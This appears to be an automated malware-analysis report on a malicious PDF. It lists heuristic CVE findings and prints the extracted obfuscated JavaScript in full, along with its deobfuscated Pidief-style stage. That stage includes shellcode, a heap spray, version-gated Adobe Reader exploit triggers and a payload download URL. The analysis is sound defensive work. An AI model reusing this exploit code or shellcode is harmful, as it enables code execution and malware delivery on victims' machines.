MALICIOUS
410
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.002 Spearphishing Attachment
The PDF file was flagged as malicious by an ML classifier with a very high confidence score. Heuristics indicate the presence of embedded JavaScript, which is a common technique for delivering malicious payloads. The embedded JavaScript file, 'javascript_obj0026_000.js', is the primary indicator of malicious activity. The exact intent of the script cannot be determined due to its size and potential obfuscation, but its presence in a PDF with a high malicious score strongly suggests it's used for exploitation or further payload delivery.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://acihssej.com//dnD4wI8hH-l.php/ce5a3d4810edc950b291016d75622416?spl=pdf_2025 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0026_000.js |
pdf-javascript-stream | PDF /JS object 26 at offset 0x359F | 38769 bytes |
SHA-256: c6130ef91010f195bbba37b267c3ff9a30f2ee0a35452152b9ac9b7a058c3842 |
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Preview scriptFirst 1,000 lines of the extracted script
/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var readerReader =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ "pe"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "es"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, ""/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "un"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "ca"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */]; mail/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= new/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ String (/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */readerReader [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */3 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ readerReader/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 1/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */readerReader [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */4 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ readerReader/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 0/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */readerReader [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */2 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ var check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"C" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"e" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"t" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"o" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"h" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"r" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"a" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"d" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"c" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"A" ];/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */checkAdobe =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */new String/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 9/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */check [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */4 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 7/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */check [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */6 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 0/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */check [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */3 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 8/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */check [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */1 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 10/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */check [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */2 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ check/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 5/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] )/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; /* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var dGoogle =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ "th"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "rd"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "ag"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "ge"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "eN"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "Wo"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, ""/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "tP"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */]; window/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= new/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ String (/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */dGoogle [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */3 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ dGoogle/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 7/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */dGoogle [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */2 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ dGoogle/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 4/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */dGoogle [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */0 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ dGoogle/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 5/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */dGoogle [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */1 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ dGoogle/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 6/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] )/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; /* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var adobe =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ ""/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "ge"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "rd"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "s"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "ag"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "eN"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "tP"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "um"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "Wo"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */]; google/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= new/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ String (/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */adobe [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */1 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ adobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 6/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */adobe [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */4 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ adobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 5/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */adobe [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */7 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ adobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 8/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */adobe [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */2 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ adobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 3/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */adobe [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */0 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ var edit/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"ar" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"om" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"Ch" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"de" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"fr" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"Co" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"" ];/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */array =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */new String/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( edit/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 4/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */edit [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */1 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ edit/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 2/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */edit [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */0 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ edit/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 5/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */edit [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */3 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ edit/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 6/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] )/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; /* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var get =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ "v"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "l"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "e"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, ""/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, "a"/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */]; d/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= new/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ String (/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */get [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */2 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ get/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 0/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */get [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */4 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ get/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 1/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */get [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */3 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ var unlock/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"p" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"a" ,/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */"p" ];/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */a =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */new String/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( unlock/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 2/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */unlock [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */1 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ unlock/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ 1/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] +/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */unlock [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */0 ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ /* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var a/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= this/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ a/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var aD/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= 171/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; var/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ mailMail =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */4 ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var c/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= new/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ String (/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var arrayArray/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= new String("UrI%".substr(3))/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; var/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ unlockAdobe =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */this [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */mail ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; var/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ editC =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */this [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */google ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( mailMail/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ for/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( var/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ dAdobe =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */0; dAdobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */< editC;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */dAdobe++ )/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */{ /* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */arrayGoogle=this [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */window ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( mailMail/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, dAdobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var dCheck/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= arrayGoogle/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */. substr/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( arrayGoogle/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */. length/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */- 2/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */, 2/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var adobeUnlock/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= unlockAdobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( arrayArray/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */+ dCheck/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */var sendArray/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */= adobeUnlock/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */[ checkAdobe/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */] (/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */0 )/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */; var/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */ adobeC =/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */sendArray ^/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */aD ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */c +=/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */String [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */array ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( adobeC/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */} /* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */this [/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */d ]/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */( c/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */) ;/* subway rosemary absconded abusefulness abditive abactinally robotics lazarus abir */
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3756 bytes |
SHA-256: 5b16e9c4bce31cc860e8fa095369f775d2101fc340607ae380960c563edc55f2 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://acihssej.com//dnD4wI8hH-l.php/ce5a3d4810edc950b291016d75622416?spl=pdf_2025 */
var _u="http://acihssej.com//dnD4wI8hH-l.php/ce5a3d4810edc950b291016d75622416?spl=pdf_2025";
FeaFe eee uFq eeTe e FuaeTeT euaFeuEFFeqFFquEu T uT FT quqA u
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
EEEEe eeTaE uuuuTETaeee FFqFaeqFaFFeaFa F e u eEFueq e eu Fu EeFFEFqFFFeE eFaeeea ea aaeaaFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFF FFFFF FFFFF FFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFuu���uQ�E��
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